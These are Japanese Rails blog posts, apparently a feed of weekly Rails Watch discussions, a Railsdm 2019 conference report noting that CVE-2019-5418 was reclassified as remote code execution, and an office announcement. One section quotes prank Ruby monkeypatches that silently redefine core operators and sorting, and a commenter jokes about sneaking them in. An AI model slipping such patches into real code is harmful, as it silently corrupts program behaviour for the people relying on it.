execute_sql: RailsコンソールでSQLを直接実行(RubyFlowより)

前にウォッチで紹介したrails_dbと同じ作者です。


つっつきボイス:「pgAdminを立ち上げるのが面倒なときに使うのかな?と思って」「実行だけならActiveRecord::Baseにあるexecuteでできますけどね😎」「それ知らなかった😅」

参考: ActiveRecordを使ってRails consoleからテーブル一覧がほしい - Qiita

「お、でもこのexecute_sqlは結果セットを直接制御できるのか↓: それならわかる😋」「というと?」「ActiveRecord::Baseexecuteで取る場合は結果セットを自分でさらに展開しないといけないんですが、このgemは図でやってるみたいに:singleってやれば1行だけ取るみたいなことができると」「なるほど〜」「ま、自分は要らんけど🤣」「🤣」「🤣」


同リポジトリより

「rails_dbは、MySQLAdmin的なGUIのDB管理ツールをRailsで作ったものですね」

「やや、Windowsノートがまたフリーズ❄️: 今日で何回目だ😇」「でかいモニタにつなぐと起きやすいんでしょうか」「ウォッチをつっつき中に2回というのはなかなかキツイわ〜😭」

RailsのService Objectとactive_interaction gem


つっつきボイス:「TechRacho記事を2本も引用いただいてたので🎉」「古い記事もありますね😆」「もちっと新しいのも一応😆」「記事ではService層というかService Objectとは何ぞやを追求してます」「もう『おまえがService Objectだと思ったものがService Objectだっっっ』でいいんじゃね?🤣」「🤣」「🤣」「ちょうど今日BPSの社内勉強会でもPoEAA本↓の2周目を始めたところで、そこでもいずれこの辺のパターンが出てきます」

エンタープライズアプリケーションアーキテクチャパターンを読む: 1.概要

「さっきの記事でもちょうどService層を『Commandパターン』にするか『Facadeパターン』にするかということをやってますね」「あー、記事の『全部のせServuceクラス』↓ってFacadeのことなのか」「自分はそう理解してます🤓」

同記事より

「そしてService層では主にCommandパターンとFacadeパターンという2種類の実装方法が広まってて、そのあたりで宗教戦争が起きやすい⚔️」

「ところでまとめの最後にlib/に置くみたいなことが書かれてますけど、lib/に置くときってどんなときでしょう?」「Railsがなくても使えるような汎用的なものをlib/に置くべきでしょうね」「なるほど!」「自分の感覚では、たとえばActive Recordにアクセスするようなコードはlib/には置かない感じですね☺️」

[保存版]人間が読んで理解できるデザインパターン解説#3: 振舞い系(翻訳)

また、同記事でactive_interactionというgemが紹介されていました。

「もしかするとこういうgemっていっぱいあるのかなと思いつつ」「これは.runで実行するタイプのようなので、Commandパターンを支援するgemなんでしょうね☺️」「READMEが意外に長い🐍」「フレームワークっぽい雰囲気だから長いのかも」「何となくだけど、どことなくオブジェクト指向の過激派っぽい匂いが😆」「すべてはオブジェクトみたいな😆」

# 同リポジトリより
Square.run!(x: 'two point one')
# ActiveInteraction::InvalidInteractionError: X is not a valid float
Square.run!(x: 2.1)
# => 4.41

「先週のBPS勉強会で言ってた『後から引っぺがすのが大変なgem』っぽくもありますね😆」「これで幸せになれるんでしょうか😅」「😆」「思ったんですが、完全にオブジェクト指向に寄せたいならむしろRubyよりJavaとかを使う方がいいのかも🤔: キレイにカプセル化できるし速いし」「どうなんだろう…記法の問題でもないような気もしますが😆」「Rubyでカジュアルにオープンクラスできるのは結構エグい😆」「😆」

「Rubyの場合クラスをどこから開かれるかわからないので、規模が大きくなってくるとつらくなってくる気がするんですけどどう思います?」「いやーRubyをそこまでズブズブに使ったことがまだなくって😅」「Rubyはその辺ほんと自由ですよ🤣」「🤣」「ヤバい書き方をしようと思えばもういくらでもできるし」

Railsコードのリファクタリング


つっつきボイス:「永和システムマネジメントさんの記事で、例の本を読み込んで解説しているので」「お、Martin Fowlerの新しい版の『Refactoring』だ」「去年発売されてましたね」「日本語訳ってあります?」「出たばっかりだしまだ先でしょうね」

参考: リファクタリング 第2版が素晴らしい - koicの日記

「第2版ではJavaScriptも扱ってるって言ってましたね」「前はJavaとC#でしたっけ」「第2版、買った気がするんだけどまだ読んでない😇」「😆」「ゴツそうな内容ですね」「まあだいたい同じようなこと書いてるだろうし、そんなに読むのは大変じゃないと思いますが」

「実際Martin Fowlerの本ってとても読みやすいのでいいと思いますよ」「そうかも」「コンピューターサイエンスをやってきた人らしい文章」「そういえば勉強会でもさっきのPoEAAには無駄な記述がないって言ってましたね」「読んでるうちに彼の技術英語の言い回しがだんだん身体に入ってきて斜め読みが効くようになってくるし📖」「脳が彼の英語に最適化されるというか🧠」

Railsの素朴な疑問

個人的に、joinsはキャッシュしないから、同じ処理を何度も繰り返すのであればincludesとか、eager_load使えば早くなるのではと思っているけど、そうはならないから違うのか。


つっつきボイス:「社内の日報で見かけたんですが、これだけだと何とも言えない感じでしょうか?」「あーなるほど、そこで言ってる『joinsはキャッシュしない』というのはおそらくRailsレベルでキャッシュしないということなんだろうけど、クエリキャッシュはあると思うので、少なくとも同じクエリを投げればクエリキャッシュは効くんじゃないかなー?🤔」「おー」「eager_loadは、使えば速くなるというようなものではないし: includesは結構速いけど」

Rails: JOINすべきかどうか、それが問題だ — #includesの振舞いを理解する(翻訳)

「RailsのJOINってたしかINNER JOINでよかったっけ?」「そのはずです」「クエリ次第ではJOINも速いことがあるんじゃないかなという気がするんだけど🤔、この場ではこのぐらいが限度かな」「急に振っちゃってすみません🙇」

Ruby

ヤバいRubyコード(Ruby Weeklyより)


つっつきボイス:「Ryan BiggさんはDHHとRailsの設計方針でやりあったりしてた方ですね↓」「邪悪なRubyというか」

Railsの`CurrentAttributes`は有害である(翻訳)

「おー記事は早速+メソッドをオーバーライドしてるぞっ😆」「*も単項演算子の-も片っ端からオーバーライドしてるし」「その辺は元からできる機能ではあるけど」「こういうのを読み込んで既存のRubyの振る舞いを置き換えたりみたいな😆」

# 同記事より
class Integer
  alias_method :old_multiply, :*

  def *(num)
    m = method(:old_multiply).unbind
    m.bind(3).(num / self)
  end
end

「JavaScript風のsortですって↓」「こういうバイナリをひっそり紛れ込ませるとアツい🧨」

[-2, -1, 0, 1, 2].sort()

//=> [-1, -2, 0, 1, 2]
module JSSort
  def self.included(base)
    base.alias_method :old_sort, :sort
  end

  def sort
    self.map(&:to_s).old_sort.map(&:to_i)
  end
end

Array.include(JSSort)

「トリプルイコール===もオーバーライドできるのかー」「へ〜」

class Array
  def ===(_)
    true
  end
end

「これはあの文字列をfreezeさせるショートハンドの-をオーバーライドしてるし↓」「この文字列freezeの-記号とunfreeze用の+って最近のRubyにあるんですけど、ご存じでした?」「いえ〜初めて知りました🥺」「Rubyのfreeze用の-って、もうちょっとマシな記号ってなかったの?って思っちゃいますよね」「.freezeだと長くなるしショートハンドが欲しいのはわかるんだけど😅」「初めて見たときにも『はぁ?』と思ったし😆」「記事で日本語の(漢数字)をメソッド名に使ってるし😆」

>> a = -"string"
=> "string"
>> a.frozen?
=> true

class Array
  def -@
    clear
  end
end

a.clear

参考: 文字列をfreezeさせるいくつかの方法 - Qiita

「これはもうイタズラ用ですね」「記事の冒頭でもproductionでは絶対やるなと書いてますし」「まあ想像のつく範囲のイタズラかなと☺️」「中学2年生におすすめ✏️」「やられたらびっくりするのは間違いない🎈」

その他Ruby


つっつきボイス:「AWS賞ですって」「普通にAWSがスポンサーをやってる賞でしょうね☺️」



つっつきボイス:「高橋会長が出した本で、コードにひとつひとつ解説という意味でのふりがなを振ってるということみたいです」「Pythonでも同じような趣旨でふりがなプログラミングの本が出てたから、その流れでRubyでも本を出したのかも」「そっちは知りませんでした😅」

「ふりがなプログラミング、特に教育方面ではあっていいと思う👍」「ですね」「特に今みたいにプログラミング教育の義務化みたいなことになってくると、こういう本って重要になってくるし」「その前に国語の勉強しようねって言いたいけどっ😆」「😆」「あ〜でも本当にそう😆」「この本でプログラミングを理解できるのって、国語の成績がいい子に限られるんじゃないかって思ったし」「言語能力ってそういうことですよね😆」

「国語の成績はいいんだけどプログラミングがどうもわからないという子どもを助けるという意味では、この本が役に立つかも」「『プログラミングって数学ができないとだめなんでしょ?』みたいな苦手意識のある子どもとかに」「1クラスで数人でもこの本で救われたら価値は絶対あるし: 全員は無理だと思うけど」「たしかに〜」

「話逸れちゃうんですけど、最初本のタイトルを見たときにこのRubyってもしかして『ルビを振る』のルビのこと?って考えちゃいました🤣」「なっはっは🤣」「とっても紛らわしいんですけど、どっちも英語のスペルは同じ”ruby”なんですよ😭」「本の帯にはRailsって書いてるし」「まさかRailsまでカバーしてるとか?😆」

参考: ルビ - Wikipedia

「ツイートの写真の左、よく見るとjnchitoさんの直筆ポップじゃん!」「あ〜全然見落としてた!😆」「マニアックすぎる😆」「さすがジュンク堂池袋本店」

「ジュンク堂池袋本店といえば、Rubyのコアコミッターが割とお互い近いところに住んでるという話が以下の翻訳記事にあるんですが、どうやら池袋につながる沿線らしくって、一説によると彼らが本気出したら池袋本店の技術書コーナーを1日で空っぽにできるとか😆」「😆」「空っぽにするほど買ってみたい〜」

米国から見た日本のRuby事情(翻訳)

Ruby trunkより

Ruby 2.6.0で禁止されたシンボルキーと非シンボルキーの混在を2.6.1で再度許した

# test/-ext-/test_scan_args.rb#L99
  def test_opt_hash
    assert_equal([0, nil, nil], Bug::ScanArgs.opt_hash())
    assert_equal([1, "a", nil], Bug::ScanArgs.opt_hash("a"))
    assert_equal([0, nil, {b: 1}], Bug::ScanArgs.opt_hash(b: 1))
    assert_equal([1, "a", {b: 1}], Bug::ScanArgs.opt_hash("a", b: 1))
    assert_raise(ArgumentError) {Bug::ScanArgs.opt_hash("a", "b")}
-   assert_raise(ArgumentError) {Bug::ScanArgs.opt_hash("a"=>0, b: 1)}
+   assert_equal([1, {"a"=>0}, {b: 1}], Bug::ScanArgs.opt_hash("a"=>0, b: 1))
  end

以下は確かに2.6.2では動くようになっていました。

# #15658より
def foo(opt=nil, **kw)
  p opt, kw
end

foo("str" => 42, :sym => 42)
  #=> 2.5.3: {"str"=>42}, {:sym=>42}
  #=> 2.6.0: non-symbol key in keyword arguments: "str" (ArgumentError)

つっつきボイス:「あ〜これね〜😅」「シンボルキーと非シンボルキーの混在が2.6.0で禁止されて、また戻ってたことに気づいてませんでした💦」「これ変えられちゃったら困るヤツですよね?」「結構困る😇」「実際混在はずっと行われてたし、禁止されたらライブラリがエラーになっちゃうし😢」「とはいえ、Railsでこういう混在した書き方↓されたら後ろから撃ちたくなるけどっ😆」「😆」「😆」

foo("str" => 42, :sym => 42)

そして上の一連の動きは、#14183の「本物のキーワード引数」の議論と関連しているようです。#14183はまだ閉じていませんので、今後どうなるかですね。

k:1のようなハッシュ引数が{}で囲まれていない場合はキーワード引数となって**kwに渡され、{}で囲まれている場合は末尾の引数としてkw = {}に渡される、みたいな流れになっているようです。たしかにこれなら明示的に分けられそうですね。

# #14183より
def foo(**kw); p kw; end
def bar(kw = {}); p kw; end
h = {:k => 1}

# base (non-braced) hash arguments passed as keywords
foo(k: 1)    #=> {:k=>1} in 2.X and 3.0
foo(:k => 1) #=> {:k=>1} in 2.X and 3.0
foo(**h)     #=> {:k=>1} in 2.X and 3.0
bar(k: 1)    #=> {:k=>1} in 2.X, ArgumentError in 3.0
bar(:k => 1) #=> {:k=>1} in 2.X, ArgumentError in 3.0
bar(**h)     #=> {:k=>1} in 2.X, ArgumentError in 3.0

# braced hash arguments are passed as a last argument
foo({ k: 1 })    #=> {:k=>1} in 2.X, ArgumentError in 3.0
foo({ :k => 1 }) #=> {:k=>1} in 2.X, ArgumentError in 3.0
foo(h)           #=> {:k=>1} in 2.X, ArgumentError in 3.0
bar({ k: 1 })    #=> {:k=>1} in 2.X and 3.0
bar({ :k => 1 }) #=> {:k=>1} in 2.X and 3.0
bar(h)           #=> {:k=>1} in 2.X and 3.0

「今回の動きは、どうやらRubyの目下の悩みである『**とキーワード引数をどうする問題』↓と関連してるみたいで、{}で囲むかどうかで挙動を分けるというアイデアが出されて今審議中のようです」「これはとてもわかる: **周りの挙動ってマジでわからなくなるし😭」「キーワード引数が期待と違うパラメータに吸い込まれるとコワいです〜🌪」

参考: キーワード引数の現状と将来構想 - HackMD

Ruby2.5.xのパラメータの制約についてまとめてみた

「この辺のパラメータ渡し問題で一番典型的なのは、Active Supportに昔からあるような古参のメソッドたちで、あれはどうしてそれで動くのか今もってわからない🤪」「form_forあたりとか?」「とかですね、form_with↓になって随分よくなったけど、それでもちょっと心配😅」

[Rails 5.1] ‘form_with’ APIドキュメント完全翻訳

「この問題が難しいのは、どう修正してもbreaking changesが避けられないところでしょうね」「といって放置するわけにもいかず、苦渋の決断を迫られるという」「トロッコ問題的に『n人までなら殺すのもやむなし』みたいな😆」

参考: トロッコ問題 - Wikipedia


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190305-2/2後編)PostgreSQL強者から見たMySQL、SEO良記事、分散アルゴリズムChordほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやはてブやRSSなど)です。

Ruby 公式ニュース

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Railsdm 2019にフル参加しました: Rails脆弱性の「File Content Disclosure」の件ほか

$
0
0

こんにちは、hachi8833です。3/22〜3/23のRails Developers Meetup 2019に私を含むBPS社員総勢4名で参加いたしました。


railsdm.github.ioより

発表資料は上公式サイトに続々追加されてますので、詳しくはそちらにお譲りいたします。

今回の各発表内容については一度に扱おうとしても消化不良になるだけなので、今後のRailsウォッチなどで順次扱うこととし、今回は現場ならではのことを中心に書こうと思います。

⚓JeremyのキーノートとRailsの「CVE-2019-5418」のrender :fileの脆弱性

Railsdm最終日オーラスのJeremy Daer氏(@jeremy)によるキーノートスピーチの中で、突然「CVE-2019-5418」の問題について言及されていたので、調べた範囲でここにまとめました。見落としや誤りなどありましたら@hachi8833までお知らせください。

⚓当日までの流れ

まず、3/13にCVE-2019-5418を含む脆弱性修正情報がRails公式サイトの冒頭の記事で周知され、それを3/18に週刊Railsウォッチで簡単に取り上げました。この時点では「file content disclosure」という表記に一同首を傾げつつも、時間の関係でそれ以上は追えませんでした。

その後週刊Railsウォッチ同号公開と同じ3/18に、ペパボさんが以下の記事を公開し、BPS社内Slackのrailsチャンネルでもざわつきが始まりました。

そしてRailsdm前日である3/21、GitHub Gistに以下の記事↓が公開され、その中で秘密鍵が漏れる可能性についても指摘があるとともに、実は「file content disclosure」ではなく「remote code execution(RCE)」ではないかという疑問が呈されました。

⚓Railsdm当日

そしてJeremyのキーノートスピーチのスライドで、突然「File Content Disclosure Remote Code Execution」という文字が大写しになって会場に軽いどよめきが走り、この表記の件が解決したことを知りました。スライドの写真撮っておけばよかった😢

そして今日3/25にmalaさんの上の記事をもう一度見ると、3/23に以下の書き込みがあることに気づきました。セキュリティ対応という大変なプレッシャーを伴う作業の中での訂正作業、本当にありがとうございます🙇

そういえば、以前掲載した@tenderloveことAaron Patterson氏のインタビュー↓でも、セキュリティは対応そのものの他に周知という作業も大変というお話をされていました。

[インタビュー] Aaron Patterson(後編): Rack 2、HTTP/2、セキュリティ、WebAssembly、後進へのアドバイス(翻訳)

今さらですが、jeremy氏のキーノートスピーチ(現時点では動画未公開)もRails 6の新機能を紹介しつつ、今後の青写真でRailsの将来について夢をかき立てる素晴らしい内容でした。これまでRailsウォッチの「先週の改修」で見逃してた機能がいくつも登場していました。

追記(2019/03/25)

jeremyからOKをいただきましたので、2日目親睦会で撮らせていただいたツーショットをアップします。ありがとうございました!🙇

⚓DHHキーノート

今朝ほど、初日のDHHキーノートスピーチ、通称「DHHだけど質問ある?」の動画が公開されました↓。こちらもRails開発者にとってDHHがRailsの設計をどう考えているか、JavaScript方面をどう思っているかなどを知るうえで必聴の動画だと思います。

自動字幕付きですよ❤

ついでに書いてしまいますが、以下のように動画下右の「」>「文字起こしを開く」をクリックすると右に文字起こしがリスト表示され、行をクリックするとその場面にジャンプできます。これでサクサク飛ばして読めますね😋


youtube.comより

なお、以下のサイトを使えば字幕テキストをあっさりダウンロードできます。RailsがRiosになってたりSPAがESPYになってたりしますが、そこはご愛嬌ということで。

詳しくは動画に譲りますが、スピーチを聞いたときは、JavaScript関連で「exaggerated」(誇張されてる)という日本人には聞き取りにくい単語が何度か出てきたのと、amatsudaさんがSPAやマイクロサービスの質問を振ったときに「これって何かの罠だったりしない?😅」みたいな感じでDHHが軽く苦笑いしてたのが印象的でした。

頑張ってメモを取っている方もいらっしゃったんですね(ツイート)(記事に埋め込めませんでした😢)。

⚓Rails Developers Meetupは今回が最後 -> そしてRailsKaigiへ

締めくくりはRails Developers Meetupを主催するカルパスさん(@yoshi_hirano)からRailsdmの今後について簡単にお知らせがありました。Railsdmは2017年の開催以来、かるぱすさんがほとんど一人に近い状態で超人的な力を発揮して運営していましたが、今回をもって最後というお知らせがありました。

最終回であることについては以前からお話を伺っていたので承知はしていましたが、本当に頭の下がる思いです。昨年にTechRachoとしてRailsdmのセッションで発表ができたのも、カルパスさんからのお誘いがあればこそでした。本当にありがとうございます&お疲れさまでした!🙇

そして最後の最後は「実はrailskaigi.orgというドメインを取りました」「今後はRailsKaigiという名前で装いも新たにやってみたいと考えているので、一緒に運営してくれる方を絶賛募集いたします」とのお知らせがありました🎉。私たちもぜひ応援したいと思います!

主催者の皆さま、スポンサー各社の皆さま、参加した皆さま、お疲れさまでした&ありがとうございました!🙇

おまけ1

個別に言及するときりがないので、当日最も盛況だった発表のスライドを1つだけ貼ります。

おまけ2

おまけ3

2日目最初の「100回死んだエンジニア」が、予想を超えて翻訳の話をいろいろできたのが個人的に大変うれしく思いました。

ついでに、Sandi Metzの『オブジェクト指向設計実践ガイド』の原著が「プードル本」と呼ばれていることを初めて知りました。


2日目親睦会の後、会場最寄りのHubで軽く2次会にお邪魔しました。乗換案内アプリで死を宣告され、危うく終電を逃すところでしたが、どういうわけか奇跡的に終電に間に合いました。

関連記事

「TechRachoの舞台裏」をRails Developers Meetup 2018で発表してきました

福岡・天神の新拠点に関するお知らせ

$
0
0

少しでも興味をもってくださった方は、ぜひ私にご連絡ください。たまに開発陣とともに福岡におりますし、東京でもお会いできますし、チャットでも電話でも今どきな会議ツールでもいいのでお話してみましょ。

6月は以下拠点で採用および開発体制の強化を行います。


日々の引き合いへの対応を助けてくれていた福岡主力層を社内マネジメントや開発力向上に専念いただくことで、直近の出力向上と長期的な開発体制強化に繋げます。会議室なくせば20人くらいまでまずは仲間を増やせます。引き続きセキュリティを強みに、Web(Ruby/PHP)開発とMobile(Android/iOS)開発中心に実績を積み上げます。

所在地

住所は、福岡市中央区天神4-1-28(Google Map)になります。福岡でIT系が多い天神駅徒歩圏内です。他社の勉強会も多いし。開発はどこでもできるっていっても毎日の刺激も大事な気がします。以下画像からもGoogle Mapに飛びます。

週刊Railsウォッチ(20190401-1/2前編)Rails 5.2.3/5.1.7がリリース、Railsdmの「Railsの正体」、Ruby 2.7のnumbered parameter、新元号「令和」ほか

$
0
0

こんにちは、hachi8833です。新元号が本日発表されたので早速単語登録しました。どことなくゼロサムっぽい響きを感じてしまいます。

参考: ゼロ和 - Wikipedia — 「れいわ」ではありませんが

追記(2019/04/01): 早速wareki gemが対応していました。

# lib/wareki/era_def.rb#23
-   Era.new("平成", 1989, 2447535, DAY_MAX),
+   Era.new("平成", 1989, 2447535, 2458604),
+   Era.new("令和", 2019, 2458605, DAY_MAX),

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを(鍋のように)社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

⚓週刊Railsウォッチ「公開つっつき会」第9回開催のお知らせ

次回の公開つっつき会は4/4(木)です。皆さまのお気軽なご応募をお待ちしております!🙇
RubyKaigi 2019の予習にもぜひどうぞ。

⚓Rails: 先週の改修(Rails公式ニュースより)

今回は、リリース以外はRailsdmの@jeremy氏の発表スライドに一瞬映ったものを拾ってみました。


つっつきボイス:「jeremy氏のキーノートはほんと良かった❤」「キーノートは元々30分ぐらいの予定が50分ぐらい話してましたね😆」「そうそう、まだ終わんね〜のかなって😆」「でもその延びた20分の内容がとてもいいという🥰」「そうなんですよね☺

⚓Rails 5.2.3/5.1.7がリリース

主にバグ修正とRails 6からのバックポートのようです。


つっつきボイス:「公式ページよりGitHubのreleaseページの方がChangelogが見やすいなと思ったので、そちらのリンクを張りました」「新しいところではActive SupportにActiveSupport::HashWithIndifferentAccess#assocが入った」「あそっく?」「いかにもassociationですね」「@kamipoさんの怒涛のバグ修正」

「とりあえずこのリリースにアップグレードする感じでいいと思う👍

⚓allowed hostsでDNSリバインディング攻撃を防止

# 同PRより

 # `www.product.com`や`beta1.product.com`などのサブドメインからのリクエストを許可
 Rails.application.config.hosts << /.*\.product\.com/

つっつきボイス:「DNS rebinding attackは前にも話したような気がする」「私もそんな気がしてTechRachoを検索したんですが見当たらなかったので初出かなと」「お、プルリクにがっつり取り消し線が😳

「許可してないドメインからのリクエストをはじくみたいな?」「ホワイトリスト使ってるのでそのようです」「Man in the Middle(MITM)攻撃対策っぽい: こういうときは攻撃方法を調べるとよかったりしますね🧐」(ググる)

参考: 中間者攻撃 - Wikipedia

「ちょうどよさそうな記事あった↓」「読む前の予想だけど、攻撃対象のサーバーの近くにDNSを置いて、本物のDNSより先にレスポンスを返すみたいな攻撃手法かな?それならDNSのMITMだけど」

参考: DNS Rebindingを悪用してインターネットからプライベートネットワークへの攻撃 - 忙しい人のためのサイバーセキュリティニュース


同記事より

「攻撃者がサイトとDNSを用意して云々で…なるほど、DNSの再問い合わせをさせてると」「お〜😳」「で、TTLをうんと短くしてる(1sとか)のですぐ再問い合わせが発生して…」「ざっと見た感じでは、どうやらDNSリバインディング攻撃では、攻撃者が用意するDNSが標的のすぐ近くに存在する必要がありそう」「内部協力者的な?」「前提条件として、DNSを置くために何らかの方法で攻撃者が侵入する必要がありそうに見える」「ふ〜む」「でもそれだと普通のDNS MITMになっちゃうので何だか少し違う予感: もうちょっとこの記事をちゃんと読まないといけなさそう🤔

「お、こっちのPDF↓を見ると、JavaScriptがホスト名で認証してるのがポイントらしい」「そっちですか!」「力武さんだ😍」「例のJavaScriptのsame-originポリシーを迂回する何からしい: 対策としてはconfig.hostsをちゃんと設定すればいいんだろうけど、攻撃の詳細の方は今度時間のあるときにでも読も📖」「時間もナニなので次へ〜」

参考: DNS rebinding attackの対策と考察


dnsrebinding-20071119.pdfより

参考: 同一オリジンポリシー - ウェブセキュリティ | MDN
参考: 同一生成元ポリシー - Wikipedia

⚓新機能: ActiveRecord::Relation#annotateを追加

# 同コミットより
Post.where(id: 123).annotate("ここはコメント").to_sql
# SELECT "posts".* FROM "posts" WHERE "posts"."id" = 123 /* ここはコメント */

つっつきボイス:「#annotateって前からあったような気がしてたんですがウォッチ過去記事で見当たらなかったので」「ウォッチで扱ったかどうかは覚えてないけど、@jeremyのスライドを見て『へー、こんな機能が入ったのか』と思った覚えがあるからやっぱり初登場だと思う」「そうだったかも」「よく見たら2週間前のコミットだからめっちゃ新しい」「なら知らなくて当然か😆

「うん、これはRailsのログにコメントが出せるということか」「おぉ〜なるほど😍」「確かにRailsのdebugログには発行したクエリが大量に出るけど、たとえばどのARリレーションがこのクエリを出したのか、みたいなものをその中から見つけるのは困難に近い: でもこの機能を使えばそういうのを特定するのがずっとやりやすくなる😋」「ですね〜、デバッグに便利な機能☺」「複雑怪奇なスコープをたくさん作っちゃったときとかに助かりそう🥰

前からあった気がしていたのは、マイグレーション時のテーブルコメント追加機能でした↓。

[Rails 5] マイグレーション時にデータベースのカラムにコメントを追加する

⚓新機能: optimizer_hints

Arm Treasure DataではモンキーパッチでOptimizer Hintsを利用している(上のGist↑)。特にMAX_EXECUTION_TIME#31129)。
Optimizer HintsはMySQLのみならず多くのデータベース(AWS RDSのPostgreSQL、Oracle、SQL Serverなど)でもサポートされており、アプリの重いクエリを大規模にスケールするのに非常に有用。
同commitより

# 同commitより
class Job < ApplicationRecord
  default_scope { optimizer_hints("MAX_EXECUTION_TIME(50000) NO_INDEX_MERGE(jobs)") }
end

つっつきボイス:「Optimizer Hintsは確かに前からRDBMSにありますね」「この機能はRDBMS依存でしょうね」「MySQLの例とかがコミットに乗ってるし」

「そうそう、MySQLの追加機能って以下↓の/*+ ... */みたいに特殊なコメント形式で与えられることが多い印象」「へぇ〜😳」「逆にPostgreSQLは言語拡張でやることが多い印象: あくまで印象ですが」

# 同commitよりMySQLの例
  Topic.optimizer_hints("MAX_EXECUTION_TIME(50000)", "NO_INDEX_MERGE(topics)")
  # SELECT /*+ MAX_EXECUTION_TIME(50000) NO_INDEX_MERGE(topics) */ `topics`.* FROM `topics`

⚓番外: ActiveRecord::Relationには<<でオブジェクトを追加できない

2016年のissueです。

# 同issueより
@hours << Hour.new()
#=> undefined method '<<' for #<ActiveRecord::Relation []>

つっつきボイス:「ちょうど今日社内Slackのrails板で『ActiveRecord::Relation<<でオブジェクトを追加する方法が知りたい』というのが話題になっていたので」「結局これは、できないという結論でいいのかしら?」「素のActiveRecord::Relationには<<使えないよね?🤔

「で、このissueを見つけたんですが、@sgrifさんは『これはバグ』と書いた直後に『なお、たぶんバグじゃない』と書いてました↓」「おほ😆」「😆


同issueより

「いずれにしろ、ActiveRecord::Relationはあくまでリレーションの抽象化であって、テーブルではないから、そのままでは<<はできないはず」「そうそう、そのはず」「どうしてもやりたかったら無理やり#to_aするとかね」「これがレコードセットだったら<<で追加できてもいいけど、リレーションに追加できちゃったらオカシイよね😆」「😆

「仮にActiveRecord::Relation<<で追加できたとしても、もうそれはリレーションじゃないはずだし」「それはもう結果セットだし」「結果セットならarrayで戻ってくるだろうけど、そもそもやりたいのは本当にそれだったのかなぁ〜?なんてね😎」「結論は『ActiveRecord::Relationはそういうものじゃない』ということで☺

@sgrifさんもその先のコメントで類似の趣旨を述べていました。

That’s because an association is not the same thing as an arbitrary relation.
同issueより

⚓Rails

⚓「Ruby on Railsの正体と向き合い方」の素晴らしさ


つっつきボイス:「このスライドは先週のRailsdm記事にも軽く載せたんですが、今日のBPS社内勉強会でも繰り返し絶賛されていたので改めて取り上げてみました」「うん、このスライドはほんっっとうによくできている👍」「Rails以外のエンジニアにもおすすめできる、素晴らしいまとめ😍」「今までいろんなところで部分的に語られていたことを、よくぞここまでまとめましたよね」「熟練Rails開発者ならもうだいたいわかっていることなんですが☺」「このスライド英訳すべきだと思います🇺🇸

「ここ最近Railsをdisるのが流行ったりしてるけど、そうではないよ、という」「クリーンアーキテクチャとの比較も盛り込まれているし」

参考: クリーンアーキテクチャ(The Clean Architecture翻訳) | blog.tai2.net
参考: ヘキサゴナルアーキテクチャ(Hexagonal architecture翻訳) | blog.tai2.net

「このセッションが人がぎっしりで自分は入れなかったので、直後に廊下に行ってみると@joker1007さんがかなり盛り上がっていたんですが、どんな話してたのかまではわからなくて😅」「横で聞こえた限りではですが、たしかスライドで『Active Recordパターンが破綻する例』としてコントローラにトランザクションを書く例が挙げられていて、そこにjoker1007さんが『その例はこのスライドの文脈と違うのでは?』と指摘したところ、発表者が『そこはHanamiとの違いということで挙げてみました』という返答だったので『なるほど納得☺』というような流れだったと思います(違ってたらゴメンナサイ)」「そうでしたか!」「Hanamiだとそれ用の概念があるんでしたっけ」

参考: HanamiのInteractorでValidationを使いやすくする - Qiita

「そういえば、スライドのこの図↓みたいなものを今回のRailsdmの他の発表でも2つか3つほど見かけましたね: 主にマイクロサービスのつらみとかどうやって分割するかという話」「ふむふむ」「自分もこの辺の気持ちはとてもよくわかる: というのも、大きく育ったRailsアプリをいきなり分割するのはやはりしんどいというのがあって😭、たとえばまずフロントとAPIサーバーとに分けて、完全に分けきってから、Rails APIモノリスをドメインに分割するといいんじゃないかという発表もありましたね」「おぉ」「他にも発表はあったんですが、これっぽい図が登場してたのが共通してましたね☺

「たぶんみんなはマイクロサービスがやりたいんじゃなくて、巨大モノリス化したRailsアプリを何とかして分割したいってことなんじゃないかなと🤣」「そうそうっきっとそう🤣」「🤣」「そうしないと死ぬから😆」「必ずしもマイクロサービス導入してドヤ顔したいわけではないと」「今回の発表は『ではどう分割するのがいいのか』というところを追っているものが多かった印象」

「たとえば切り分けにURLを使っているプロジェクトがあるとすると、手前のNginxでリバースプロキシしてモノリスとマイクロサービスに振り分ける、でマイクロサービスがまだなくてエラーになるとNginxがそれを自動的に古いモノリスの方にリダイレクトする、なんてことをしたり」「うはエグい、それ何ていうmethod_missing?🤣」「アーキテクチャレベルのmethod_missingというか🤣」「壮絶🤣」「やや変態的だけど😆、安全といえば安全」

「最終的にはキレイにドメイン分割されるのがもちろん理想ですが、ではそこに至るまでの中間形式をどうするのか、という悩みどころや手法が今回のRailsdmではいくつか語られていましたね」

「そして上の分割から先の話をしていたのがフロントエンド系の発表という感じ」「ふむふむ」「どこかの発表で、フロントエンドもマイクロサービス的にしたいみたいな話もあって、そちらはどちらかというとWeb Components的な話ではありますが」「そちら方面の話を聞いていると、どうやらフロントエンドもファットReactモノリス化したりしてるらしい🤣」「あかんやん🤣」「🤣」「今自分がやってるReactもファットですよ🤣

参考: Web Components | MDN

「フロントエンド側が、今はファットなReactモノリスをたとえばWeb Componentsを使って、このコンポーネントはVueで、このコンポーネントはAngularで、みたいにもしできたとしたら、開発チームが分割してもやりやすくできそうじゃないですか」「うんうん」「詳しいところはまだ自分も見えてないんですが、その辺の話が上の図でいう右のSoE(Frontend + BFF)の辺りに相当する感じ」「今回のRailsdmは、こういうアーキテクチャがらみの発表が目につきましたね」「みんな苦労してるんだな〜😅

⚓ロジックをActive Modelで書く

今日のBPS社内勉強会で、kazzさんが「最近Active Modelをincludeするクラスを作ってそこにロジックを書くのが好き」という話をしていたので探してみたのですが、上ぐらいしか見つからなかったので。以下はその後でたばこ中に聞いた走り書きです。

  • ちょうど、Form Objectをforms/ではなくmodels/モデル/の下に置く感じ
  • include ActiveModel::Modelを書く以外は普通のクラス
  • クラス名はビジネスロジックを表す名前
  • saveとかは自分で書く
  • コントローラからは普通のモデルのように扱う
  • ロジックがモデルをまたがるなら別途置き場所を考える

